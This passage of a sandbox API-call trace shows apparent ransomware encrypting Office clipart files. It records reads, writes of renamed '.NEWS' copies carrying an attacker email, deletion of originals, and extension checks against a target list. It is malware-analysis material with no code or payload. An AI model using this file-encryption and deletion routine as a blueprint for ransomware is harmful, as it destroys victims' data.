lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x0, lpOverlapped=0x0) returned 1 [0253.202] WriteFile (in: hFile=0x324, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0xec, lpOverlapped=0x0) returned 1 [0253.203] SetEndOfFile (hFile=0x324) returned 1 [0253.203] CloseHandle (hObject=0x324) returned 1 [0253.205] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.205] SetEndOfFile (hFile=0x15c) returned 1 [0254.874] CloseHandle (hObject=0x15c) returned 1 [0254.875] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0255.348] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf")) returned 1 [0255.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0255.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0255.352] lstrlenW (lpString=".doc") returned 4 [0255.352] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0255.352] lstrlenW (lpString=".docx") returned 5 [0255.352] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0255.352] lstrlenW (lpString=".pdf") returned 4 [0255.352] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0255.352] lstrlenW (lpString=".xls") returned 4 [0255.352] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0255.352] lstrlenW (lpString=".xlsx") returned 5 [0255.352] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0255.353] lstrlenW (lpString=".ppt") returned 4 [0255.353] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0255.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0255.353] lstrlenW (lpString=".zip") returned 4 [0255.353] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0255.353] lstrlenW (lpString=".rar") returned 4 [0255.353] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0255.353] lstrlenW (lpString=".bz2") returned 4 [0255.353] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0255.353] lstrlenW (lpString=".7z") returned 3 [0255.353] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0255.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0255.353] lstrlenW (lpString=".dbf") returned 4 [0255.354] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0255.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0255.354] lstrlenW (lpString=".1cd") returned 4 [0255.354] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0255.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0255.354] lstrlenW (lpString=".jpg") returned 4 [0255.354] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0255.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0255.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0255.354] lstrlenW (lpString=".doc") returned 4 [0255.355] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0255.355] lstrlenW (lpString=".docx") returned 5 [0255.355] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0255.355] lstrlenW (lpString=".pdf") returned 4 [0255.355] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0255.355] lstrlenW (lpString=".xls") returned 4 [0255.355] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0255.355] lstrlenW (lpString=".xlsx") returned 5 [0255.355] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0255.355] lstrlenW (lpString=".ppt") returned 4 [0255.355] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0255.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0255.355] lstrlenW (lpString=".zip") returned 4 [0255.356] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0255.356] lstrlenW (lpString=".rar") returned 4 [0255.356] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0255.356] lstrlenW (lpString=".bz2") returned 4 [0255.356] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0255.356] lstrlenW (lpString=".7z") returned 3 [0255.356] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0255.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0255.356] lstrlenW (lpString=".dbf") returned 4 [0255.356] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0255.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0255.357] lstrlenW (lpString=".1cd") returned 4 [0255.357] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0255.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0255.357] lstrlenW (lpString=".jpg") returned 4 [0255.357] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0255.357] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0255.357] lstrlenW (lpString="BL00098_.WMF") returned 12 [0255.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0255.358] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x342ff1c | out: lpFileSize=0x342ff1c*=1012) returned 1 [0255.359] CloseHandle (hObject=0x1f0) returned 1 [0255.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf")) returned 0x20 [0255.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0255.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0255.360] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.360] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0259.997] GetLastError () returned 0x0 [0259.997] ReadFile (in: hFile=0x1f0, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x3f4, lpOverlapped=0x0) returned 1 [0260.027] WriteFile (in: hFile=0x30c, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0x400, lpOverlapped=0x0) returned 1 [0260.033] ReadFile (in: hFile=0x1f0, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x0, lpOverlapped=0x0) returned 1 [0260.033] WriteFile (in: hFile=0x30c, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0xec, lpOverlapped=0x0) returned 1 [0260.034] SetEndOfFile (hFile=0x30c) returned 1 [0260.034] CloseHandle (hObject=0x30c) returned 1 [0260.034] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0260.035] SetEndOfFile (hFile=0x1f0) returned 1 [0260.043] CloseHandle (hObject=0x1f0) returned 1 [0260.043] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0260.044] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf")) returned 1 [0260.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0260.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0260.045] lstrlenW (lpString=".doc") returned 4 [0260.045] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0260.046] lstrlenW (lpString=".docx") returned 5 [0260.046] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0260.046] lstrlenW (lpString=".pdf") returned 4 [0260.046] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0260.046] lstrlenW (lpString=".xls") returned 4 [0260.046] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0260.046] lstrlenW (lpString=".xlsx") returned 5 [0260.046] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0260.046] lstrlenW (lpString=".ppt") returned 4 [0260.046] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0260.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0260.046] lstrlenW (lpString=".zip") returned 4 [0260.046] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0260.046] lstrlenW (lpString=".rar") returned 4 [0260.047] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0260.047] lstrlenW (lpString=".bz2") returned 4 [0260.047] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0260.047] lstrlenW (lpString=".7z") returned 3 [0260.047] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0260.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0260.047] lstrlenW (lpString=".dbf") returned 4 [0260.047] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0260.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0260.047] lstrlenW (lpString=".1cd") returned 4 [0260.047] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0260.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0260.047] lstrlenW (lpString=".jpg") returned 4 [0260.047] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0260.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0260.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0260.048] lstrlenW (lpString=".doc") returned 4 [0260.048] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0260.048] lstrlenW (lpString=".docx") returned 5 [0260.048] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0260.048] lstrlenW (lpString=".pdf") returned 4 [0260.048] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0260.048] lstrlenW (lpString=".xls") returned 4 [0260.048] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0260.048] lstrlenW (lpString=".xlsx") returned 5 [0260.048] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0260.048] lstrlenW (lpString=".ppt") returned 4 [0260.049] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0260.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0260.049] lstrlenW (lpString=".zip") returned 4 [0260.049] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0260.049] lstrlenW (lpString=".rar") returned 4 [0260.049] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0260.049] lstrlenW (lpString=".bz2") returned 4 [0260.049] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0260.049] lstrlenW (lpString=".7z") returned 3 [0260.049] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0260.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0260.049] lstrlenW (lpString=".dbf") returned 4 [0260.050] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0260.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0260.050] lstrlenW (lpString=".1cd") returned 4 [0260.050] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0260.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0260.050] lstrlenW (lpString=".jpg") returned 4 [0260.050] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0260.050] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0260.051] lstrlenW (lpString="BL00122_.WMF") returned 12 [0260.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0260.052] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x342ff1c | out: lpFileSize=0x342ff1c*=10146) returned 1 [0260.052] CloseHandle (hObject=0x1f0) returned 1 [0260.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf")) returned 0x20 [0260.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0260.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0260.053] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0260.053] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0260.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0260.054] GetLastError () returned 0x0 [0260.054] ReadFile (in: hFile=0x1f0, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x27a2, lpOverlapped=0x0) returned 1 [0260.246] WriteFile (in: hFile=0x30c, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x27b0, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0x27b0, lpOverlapped=0x0) returned 1 [0260.254] ReadFile (in: hFile=0x1f0, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x0, lpOverlapped=0x0) returned 1 [0260.254] WriteFile (in: hFile=0x30c, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0xec, lpOverlapped=0x0) returned 1 [0260.255] SetEndOfFile (hFile=0x30c) returned 1 [0260.255] CloseHandle (hObject=0x30c) returned 1 [0260.255] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0260.255] SetEndOfFile (hFile=0x1f0) returned 1 [0260.263] CloseHandle (hObject=0x1f0) returned 1 [0260.264] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0260.264] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf")) returned 1 [0260.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0260.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0260.266] lstrlenW (lpString=".doc") returned 4 [0260.266] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0260.266] lstrlenW (lpString=".docx") returned 5 [0260.266] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0260.267] lstrlenW (lpString=".pdf") returned 4 [0260.267] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0260.267] lstrlenW (lpString=".xls") returned 4 [0260.267] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0260.267] lstrlenW (lpString=".xlsx") returned 5 [0260.267] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0260.267] lstrlenW (lpString=".ppt") returned 4 [0260.267] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0260.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0260.267] lstrlenW (lpString=".zip") returned 4 [0260.267] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0260.267] lstrlenW (lpString=".rar") returned 4 [0260.267] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0260.267] lstrlenW (lpString=".bz2") returned 4 [0260.268] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0260.268] lstrlenW (lpString=".7z") returned 3 [0260.268] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0260.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0260.268] lstrlenW (lpString=".dbf") returned 4 [0260.268] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0260.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0260.268] lstrlenW (lpString=".1cd") returned 4 [0260.268] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0260.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0260.268] lstrlenW (lpString=".jpg") returned 4 [0260.268] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0260.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0260.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0260.269] lstrlenW (lpString=".doc") returned 4 [0260.269] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0260.269] lstrlenW (lpString=".docx") returned 5 [0260.269] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0260.269] lstrlenW (lpString=".pdf") returned 4 [0260.269] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0260.269] lstrlenW (lpString=".xls") returned 4 [0260.269] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0260.269] lstrlenW (lpString=".xlsx") returned 5 [0260.269] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0260.270] lstrlenW (lpString=".ppt") returned 4 [0260.270] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0260.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0260.270] lstrlenW (lpString=".zip") returned 4 [0260.270] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0260.270] lstrlenW (lpString=".rar") returned 4 [0260.270] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0260.270] lstrlenW (lpString=".bz2") returned 4 [0260.270] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0260.270] lstrlenW (lpString=".7z") returned 3 [0260.270] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0260.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0260.271] lstrlenW (lpString=".dbf") returned 4 [0260.271] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0260.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0260.271] lstrlenW (lpString=".1cd") returned 4 [0260.271] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0260.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0260.271] lstrlenW (lpString=".jpg") returned 4 [0260.271] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0260.272] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0260.272] lstrlenW (lpString="BL00152_.WMF") returned 12 [0260.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0260.273] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x342ff1c | out: lpFileSize=0x342ff1c*=1516) returned 1 [0260.273] CloseHandle (hObject=0x1f0) returned 1 [0260.273] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf")) returned 0x20 [0260.273] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0260.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0260.274] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0260.274] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0260.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0260.275] GetLastError () returned 0x0 [0260.275] ReadFile (in: hFile=0x1f0, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x5ec, lpOverlapped=0x0) returned 1 [0260.288] WriteFile (in: hFile=0x30c, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x5f0, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0x5f0, lpOverlapped=0x0) returned 1 [0260.293] ReadFile (in: hFile=0x1f0, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x0, lpOverlapped=0x0) returned 1 [0260.293] WriteFile (in: hFile=0x30c, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0xec, lpOverlapped=0x0) returned 1 [0260.294] SetEndOfFile (hFile=0x30c) returned 1 [0260.295] CloseHandle (hObject=0x30c) returned 1 [0260.295] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0260.295] SetEndOfFile (hFile=0x1f0) 